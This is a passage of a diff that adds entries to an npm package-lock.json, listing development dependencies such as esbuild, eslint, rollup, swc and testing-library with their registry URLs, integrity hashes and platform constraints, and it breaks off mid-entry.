+ "node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz", + "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==", + "dev": true, + "dependencies": { + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.10.0", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.10.0.tgz", + "integrity": "sha512-Cu96Sd2By9mCNTx2iyKOmq10v22jUVQv0lQnlGNy16oE9589yE+QADPbrMGCkA51cKZSg3Pu/aTJVTGfL/qjUA==", + "dev": true, + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz", + "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==", + "dev": true, + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/js": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.56.0.tgz", + "integrity": "sha512-gMsVel9D7f2HLkBma9VbtzZRehRogVRfbr++f06nL2vnCGCNlzOD+/MUov/F4p8myyAHspEhVobgjpX64q5m6A==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.11.13", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.13.tgz", + "integrity": "sha512-JSBDMiDKSzQVngfRjOdFXgFfklaXI4K9nLF49Auh21lmBWRLIK3+xTErTWD4KU54pb6coM6ESE7Awz/FNU3zgQ==", + "dev": true, + "dependencies": { + "@humanwhocodes/object-schema": "^2.0.1", + "debug": "^4.1.1", + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.1.tgz", + "integrity": "sha512-dvuCeX5fC9dXgJn9t+X5atfmgQAzUOWqS1254Gh0m6i8wKd10ebXkfNKiRK+1GWi/yTvvLDHpoxLr0xxxeslWw==", + "dev": true + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/schemas": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", + "dev": true, + "dependencies": { + "@sinclair/typebox": "^0.27.8" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.20", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.20.tgz", + "integrity": "sha512-R8LcPeWZol2zR8mmH3JeKQ6QRCFb7XgUhV9ZlGhHLGyg4wpPiPZNQOOWhFZhxKw8u//yTbNGI42Bx/3paXEQ+Q==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@polka/url": { + "version": "1.0.0-next.24", + "resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.24.tgz", + "integrity": "sha512-2LuNTFBIO0m7kKIQvvPHN6UE63VjpmL9rnEEaOOaiSPbZK+zUOYIzBAWcED+3XYzhYsd/0mD57VdxAEqqV52CQ==", + "dev": true + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.21.3.tgz", + "integrity": "sha512-MmKSfaB9GX+zXl6E8z4koOr/xU63AMVleLEa64v7R0QF/ZloMs5vcD1sHgM64GXXS1csaJutG+ddtzcueI/BLg==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.21.3.tgz", + "integrity": "sha512-zrt8ecH07PE3sB4jPOggweBjJMzI1JG5xI2DIsUbkA+7K+Gkjys6eV7i9pOenNSDJH3eOr/jLb/PzqtmdwDq5g==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.21.3.tgz", + "integrity": "sha512-P0UxIOrKNBFTQaXTxOH4RxuEBVCgEA5UTNV6Yz7z9QHnUJ7eLX9reOd/NYMO3+XZO2cco19mXTxDMXxit4R/eQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.21.3.tgz", + "integrity": "sha512-L1M0vKGO5ASKntqtsFEjTq/fD91vAqnzeaF6sfNAy55aD+Hi2pBI5DKwCO+UNDQHWsDViJLqshxOahXyLSh3EA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.21.3.tgz", + "integrity": "sha512-btVgIsCjuYFKUjopPoWiDqmoUXQDiW2A4C3Mtmp5vACm7/GnyuprqIDPNczeyR5W8rTXEbkmrJux7cJmD99D2g==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.21.3.tgz", + "integrity": "sha512-zmjbSphplZlau6ZTkxd3+NMtE4UKVy7U4aVFMmHcgO5CUbw17ZP6QCgyxhzGaU/wFFdTfiojjbLG3/0p9HhAqA==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.21.3.tgz", + "integrity": "sha512-nSZfcZtAnQPRZmUkUQwZq2OjQciR6tEoJaZVFvLHsj0MF6QhNMg0fQ6mUOsiCUpTqxTx0/O6gX0V/nYc7LrgPw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.21.3.tgz", + "integrity": "sha512-MnvSPGO8KJXIMGlQDYfvYS3IosFN2rKsvxRpPO2l2cum+Z3exiExLwVU+GExL96pn8IP+GdH8Tz70EpBhO0sIQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-powerpc64le-gnu": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.21.3.tgz", + "integrity": "sha512-+W+p/9QNDr2vE2AXU0qIy0qQE75E8RTwTwgqS2G5CRQ11vzq0tbnfBd6brWhS9bCRjAjepJe2fvvkvS3dno+iw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.21.3.tgz", + "integrity": "sha512-yXH6K6KfqGXaxHrtr+Uoy+JpNlUlI46BKVyonGiaD74ravdnF9BUNC+vV+SIuB96hUMGShhKV693rF9QDfO6nQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.21.3.tgz", + "integrity": "sha512-R8cwY9wcnApN/KDYWTH4gV/ypvy9yZUHlbJvfaiXSB48JO3KpwSpjOGqO4jnGkLDSk1hgjYkTbTt6Q7uvPf8eg==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.21.3.tgz", + "integrity": "sha512-kZPbX/NOPh0vhS5sI+dR8L1bU2cSO9FgxwM8r7wHzGydzfSjLRCFAT87GR5U9scj2rhzN3JPYVC7NoBbl4FZ0g==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.21.3.tgz", + "integrity": "sha512-S0Yq+xA1VEH66uiMNhijsWAafffydd2X5b77eLHfRmfLsRSpbiAWiRHV6DEpz6aOToPsgid7TI9rGd6zB1rhbg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.21.3.tgz", + "integrity": "sha512-9isNzeL34yquCPyerog+IMCNxKR8XYmGd0tHSV+OVx0TmE0aJOo9uw4fZfUuk2qxobP5sug6vNdZR6u7Mw7Q+Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.21.3.tgz", + "integrity": "sha512-nMIdKnfZfzn1Vsk+RuOvl43ONTZXoAPUUxgcU0tXooqg4YrAqzfKzVenqqk2g5efWh46/D28cKFrOzDSW28gTA==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.21.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.21.3.tgz", + "integrity": "sha512-fOvu7PCQjAj4eWDEuD8Xz5gpzFqXzGlxHZozHP4b9Jxv9APtdxL6STqztDzMLuRXEc4UpXGGhx029Xgm91QBeA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@sinclair/typebox": { + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==", + "dev": true + }, + "node_modules/@swc/core": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.3.100.tgz", + "integrity": "sha512-7dKgTyxJjlrMwFZYb1auj3Xq0D8ZBe+5oeIgfMlRU05doXZypYJe0LAk0yjj3WdbwYzpF+T1PLxwTWizI0pckw==", + "dev": true, + "hasInstallScript": true, + "dependencies": { + "@swc/counter": "^0.1.1", + "@swc/types": "^0.1.5" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/swc" + }, + "optionalDependencies": { + "@swc/core-darwin-arm64": "1.3.100", + "@swc/core-darwin-x64": "1.3.100", + "@swc/core-linux-arm64-gnu": "1.3.100", + "@swc/core-linux-arm64-musl": "1.3.100", + "@swc/core-linux-x64-gnu": "1.3.100", + "@swc/core-linux-x64-musl": "1.3.100", + "@swc/core-win32-arm64-msvc": "1.3.100", + "@swc/core-win32-ia32-msvc": "1.3.100", + "@swc/core-win32-x64-msvc": "1.3.100" + }, + "peerDependencies": { + "@swc/helpers": "^0.5.0" + }, + "peerDependenciesMeta": { + "@swc/helpers": { + "optional": true + } + } + }, + "node_modules/@swc/core-darwin-arm64": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.3.100.tgz", + "integrity": "sha512-XVWFsKe6ei+SsDbwmsuRkYck1SXRpO60Hioa4hoLwR8fxbA9eVp6enZtMxzVVMBi8ej5seZ4HZQeAWepbukiBw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-darwin-x64": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.3.100.tgz", + "integrity": "sha512-KF/MXrnH1nakm1wbt4XV8FS7kvqD9TGmVxeJ0U4bbvxXMvzeYUurzg3AJUTXYmXDhH/VXOYJE5N5RkwZZPs5iA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm64-gnu": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.3.100.tgz", + "integrity": "sha512-p8hikNnAEJrw5vHCtKiFT4hdlQxk1V7vqPmvUDgL/qe2menQDK/i12tbz7/3BEQ4UqUPnvwpmVn2d19RdEMNxw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm64-musl": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.3.100.tgz", + "integrity": "sha512-BWx/0EeY89WC4q3AaIaBSGfQxkYxIlS3mX19dwy2FWJs/O+fMvF9oLk/CyJPOZzbp+1DjGeeoGFuDYpiNO91JA==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-x64-gnu": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.3.100.tgz", + "integrity": "sha512-XUdGu3dxAkjsahLYnm8WijPfKebo+jHgHphDxaW0ovI6sTdmEGFDew7QzKZRlbYL2jRkUuuKuDGvD6lO5frmhA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-x64-musl": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.3.100.tgz", + "integrity": "sha512-PhoXKf+f0OaNW/GCuXjJ0/KfK9EJX7z2gko+7nVnEA0p3aaPtbP6cq1Ubbl6CMoPL+Ci3gZ7nYumDqXNc3CtLQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-arm64-msvc": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.3.100.tgz", + "integrity": "sha512-PwLADZN6F9cXn4Jw52FeP/MCLVHm8vwouZZSOoOScDtihjY495SSjdPnlosMaRSR4wJQssGwiD/4MbpgQPqbAw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-ia32-msvc": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.3.100.tgz", + "integrity": "sha512-0f6nicKSLlDKlyPRl2JEmkpBV4aeDfRQg6n8mPqgL7bliZIcDahG0ej+HxgNjZfS3e0yjDxsNRa6sAqWU2Z60A==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-x64-msvc": { + "version": "1.3.100", + "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.3.100.tgz", + "integrity": "sha512-b7J0rPoMkRTa3XyUGt8PwCaIBuYWsL2DqbirrQKRESzgCvif5iNpqaM6kjIjI/5y5q1Ycv564CB51YDpiS8EtQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/counter": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.2.tgz", + "integrity": "sha512-9F4ys4C74eSTEUNndnER3VJ15oru2NumfQxS8geE+f3eB5xvfxpWyqE5XlVnxb/R14uoXi6SLbBwwiDSkv+XEw==", + "dev": true + }, + "node_modules/@swc/types": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.5.tgz", + "integrity": "sha512-myfUej5naTBWnqOCc/MdVOLVjXUXtIA+NpDrDBKJtLLg2shUjBu3cZmB/85RyitKc55+lUUyl7oRfLOvkr2hsw==", + "dev": true + }, + "node_modules/@testing-library/dom": { + "version": "9.3.3", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-9.3.3.tgz", + "integrity": "sha512-fB0R+fa3AUqbLHWyxXa2kGVtf1Fe1ZZFr0Zp6AIbIAzXb2mKbEXl+PCQNUOaq5lbTab5tfctfXRNsWXxa2f7Aw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@testing-library/dom/node_modules/aria-query": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.1.3.tgz", + "integrity": "sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==", + "dev": true, + "dependencies": { + "deep-equal": "^2.0.5" + } + }, + "node_modules/@testing-library/dom/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "6.1.5", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.1.5.tgz", + "integrity": "sha512-3y04JLW+EceVPy2Em3VwNr95dOKqA8DhR0RJHhHKDZNYXcVXnEK7WIrpj4eYU8SVt/qYZ2aRWt/WgQ+grNES8g==", + "dev": true, + "dependencies": { + "@adobe/css-tools": "^4.3.1", + "@babel/runtime": "^7.9.2", + "aria-query": "^5.0.0", + "chalk": "^3.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.5.6", + "lodash": "^4.17.15", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=14", + "npm": ">=6", + "yarn": ">=1" + }, + "peerDependencies": { + "@jest/globals": ">= 28", + "@types/jest": ">= 28", + "jest": ">= 28", + "vitest": ">= 0.32" + }, + "peerDependenciesMeta": { + "@jest/globals": { + "optional": true + }, + "@types/jest": { + "optional": true + }, + "jest": { + "optional": true + }, + "vitest": { + "optional": true + } + } + }, + "node_modules/@testing-library/react": { + "version": "14.1.2", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-14.1.2.tgz", + "integrity": "sha512-z4p7DVBTPjKM5qDZ0t5ZjzkpSNb+fZy1u6bzO7kk8oeGagpPCAtgh4cx1syrfp7a+QWkM021jGqjJaxJJnXAZg==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.12.5", + "@testing-library/dom": "^9.0.0", + "@types/react-dom": "^18.0.0" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "react": "^18.0.0", + "react-dom": "^18.0.0" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "dev": true + }, + "node_modules/@types/estree": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz", + "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==", + "dev": true + }, + "node_modules/@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", + "dev": true + }, + "node_modules/@types/node": { + "version": "20.10.4", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.10.4.tgz", + "integrity": "sha512-D08YG6rr8X90YB56tSIuBaddy/UXAA9RKJoFvrsnogAum/0pmjkgi4+2nx96A330FmioegBWmEYQ+syqCFaveg==", + "dev": true, + "dependencies": { + "undici-types": "~5.26.4" + } + }, + "node_modules/@types/prop-types": { + "version": "15.7.11", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.11.tgz", + "integrity": "sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng==", + "dev": true + }, + "node_modules/@types/react": { + "version": "18.2.45", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.2.45.tgz", + "integrity": "sha512-TtAxCNrlrBp8GoeEp1npd5g+d/OejJHFxS3OWmrPBMFaVQMSN0OFySozJio5BHxTuTeug00AVXVAjfDSfk+lUg==", + "dev": true, + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.2.18", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.2.18.tgz", + "integrity": "sha512-TJxDm6OfAX2KJWJdMEVTwWke5Sc/E/RlnPGvGfS0W7+6ocy2xhDVQVh/KvC2Uf7kACs+gDytdusDSdWfWkaNzw==", + "dev": 